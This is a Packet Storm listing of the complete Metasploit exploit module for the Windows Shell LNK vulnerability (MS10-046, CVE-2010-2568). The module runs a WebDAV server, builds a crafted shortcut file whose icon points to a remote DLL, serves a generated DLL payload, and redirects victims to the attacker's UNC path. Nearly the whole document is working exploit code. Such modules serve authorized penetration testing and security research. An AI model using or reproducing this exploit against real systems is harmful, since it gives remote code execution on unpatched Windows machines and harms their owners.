Microsoft Windows Shell LNK Code Execution

2010-08-05T00:00:00
ID PACKETSTORM:92425
Type packetstorm
Reporter H D Moore
Modified 2010-08-05T00:00:00

Description

                                        
                                            `##  
# $Id: ms10_046_shortcut_icon_dllloader.rb 9955 2010-08-04 02:21:20Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
#  
# This module acts as an HTTP server  
#  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Windows Shell LNK Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in the handling of Windows  
Shortcut files (.LNK) that contain an icon resource pointing to a  
malicious DLL. This module creates a WebDAV service that can be used  
to run an arbitrary payload when accessed as a UNC path.  
},  
'Author' =>  
[  
'hdm', # Module itself  
'jduck', # WebDAV implementation, UNCHOST var  
'B_H' # Clean LNK template  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 9955 $',  
'References' =>  
[  
['CVE', '2010-2568'],  
['OSVDB', '66387'],  
['MSB', 'MS10-046'],  
['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 2048,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ]  
],  
'DisclosureDate' => 'Jul 16 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),  
OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]),  
OptString.new( 'UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])  
], self.class)  
  
deregister_options('SSL', 'SSLVersion') # Just for now  
end  
  
def on_request_uri(cli, request)  
  
case request.method  
when 'OPTIONS'  
process_options(cli, request)  
when 'PROPFIND'  
process_propfind(cli, request)  
when 'GET'  
process_get(cli, request)  
else  
print_error("Unexpected request method encountered: #{request.method}")  
resp = create_response(404, "Not Found")  
resp.body = ""  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
  
end  
  
def process_get(cli, request)  
  
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
webdav = "\\\\#{myhost}\\"  
  
if (request.uri =~ /\.dll$/i)  
print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..."  
return if ((p = regenerate_payload(cli)) == nil)  
# Can't use generate_exe from Msf::Exploit::EXE since it can't currently generate dlls :-/  
data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
if (request.uri =~ /\.lnk$/i)  
print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..."  
  
data = generate_link("#{@exploit_unc}#{@exploit_dll}")  
  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..."  
resp = create_response(200, "OK")  
  
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}"></head><body></body></html>|  
  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
  
#  
# OPTIONS requests sent by the WebDav Mini-Redirector  
#  
def process_options(cli, request)  
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")  
headers = {  
'MS-Author-Via' => 'DAV',  
# 'DASL' => '<DAV:sql>',  
# 'DAV' => '1, 2',  
'Allow' => 'OPTIONS, GET, PROPFIND',  
'Public' => 'OPTIONS, GET, PROPFIND'  
}  
resp = create_response(207, "Multi-Status")  
resp.body = ""  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
end  
  
#  
# PROPFIND requests sent by the WebDav Mini-Redirector  
#  
def process_propfind(cli, request)  
path = request.uri  
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")  
body = ''  
  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
my_uri = "http://#{my_host}/"  
  
if path =~ /\.dll$/i  
# Response for the DLL  
print_status("Sending DLL multistatus for #{path} ...")  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{@exploit_dll}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
return  
end  
  
if path =~ /\.lnk$/i  
# Response for the DLL  
print_status("Sending DLL multistatus for #{path} ...")  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{@exploit_lnk}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>shortcut</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
return  
end  
  
if path !~ /\/$/  
  
if path.index(".")  
print_status("Sending 404 for #{path} ...")  
resp = create_response(404, "Not Found")  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
else  
print_status("Sending 301 for #{path} ...")  
resp = create_response(301, "Moved")  
resp["Location"] = path + "/"  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
end  
end  
  
print_status("Sending directory multistatus for #{path} ...")  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
  
  
subdirectory = %Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
  
files = %Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{@exploit_dll}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{@exploit_lnk}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>  
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>shortcut</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
if request["Depth"].to_i > 0  
if path.scan("/").length < 2  
body << subdirectory  
else  
body << files  
end  
end  
  
body << "</D:multistatus>"  
  
body.gsub!(/\t/, '')  
  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
end  
  
def generate_link(unc)  
uni_unc = unc.unpack("C*").pack("v*")  
path = ''  
path << [  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00  
].pack("C*")  
path << uni_unc  
  
# LinkHeader  
ret = [  
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00  
].pack('C*')  
  
idlist_data = ''  
idlist_data << [0x12 + 2].pack('v')  
idlist_data << [  
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,  
0x30, 0x9d  
].pack('C*')  
idlist_data << [0x12 + 2].pack('v')  
idlist_data << [  
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,  
0x30, 0x9d  
].pack('C*')  
idlist_data << [path.length + 2].pack('v')  
idlist_data << path  
idlist_data << [0x00].pack('v') # TERMINAL WOO  
  
# LinkTargetIDList  
ret << [idlist_data.length].pack('v') # IDListSize  
ret << idlist_data  
  
# ExtraData blocks (none)  
ret << [rand(4)].pack('V')  
  
# Patch in the LinkFlags  
ret[0x14, 4] = ["10000001000000000000000000000000".to_i(2)].pack('N')  
ret  
end  
  
def exploit  
  
unc = "\\\\"  
if (datastore['UNCHOST'])  
unc << datastore['UNCHOST'].dup  
else  
unc << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])  
end  
unc << "\\"  
unc << rand_text_alpha(rand(8)+4)  
unc << "\\"  
  
@exploit_unc = unc  
@exploit_lnk = rand_text_alpha(rand(8)+4) + ".lnk"  
@exploit_dll = rand_text_alpha(rand(8)+4) + ".dll"  
  
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'  
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'  
end  
  
print_status("")  
print_status("Send vulnerable clients to #{@exploit_unc}.")  
print_status("Or, get clients to save and render the icon of http://<your host>/<anything>.lnk")  
print_status("")  
  
super  
end  
end  
  
`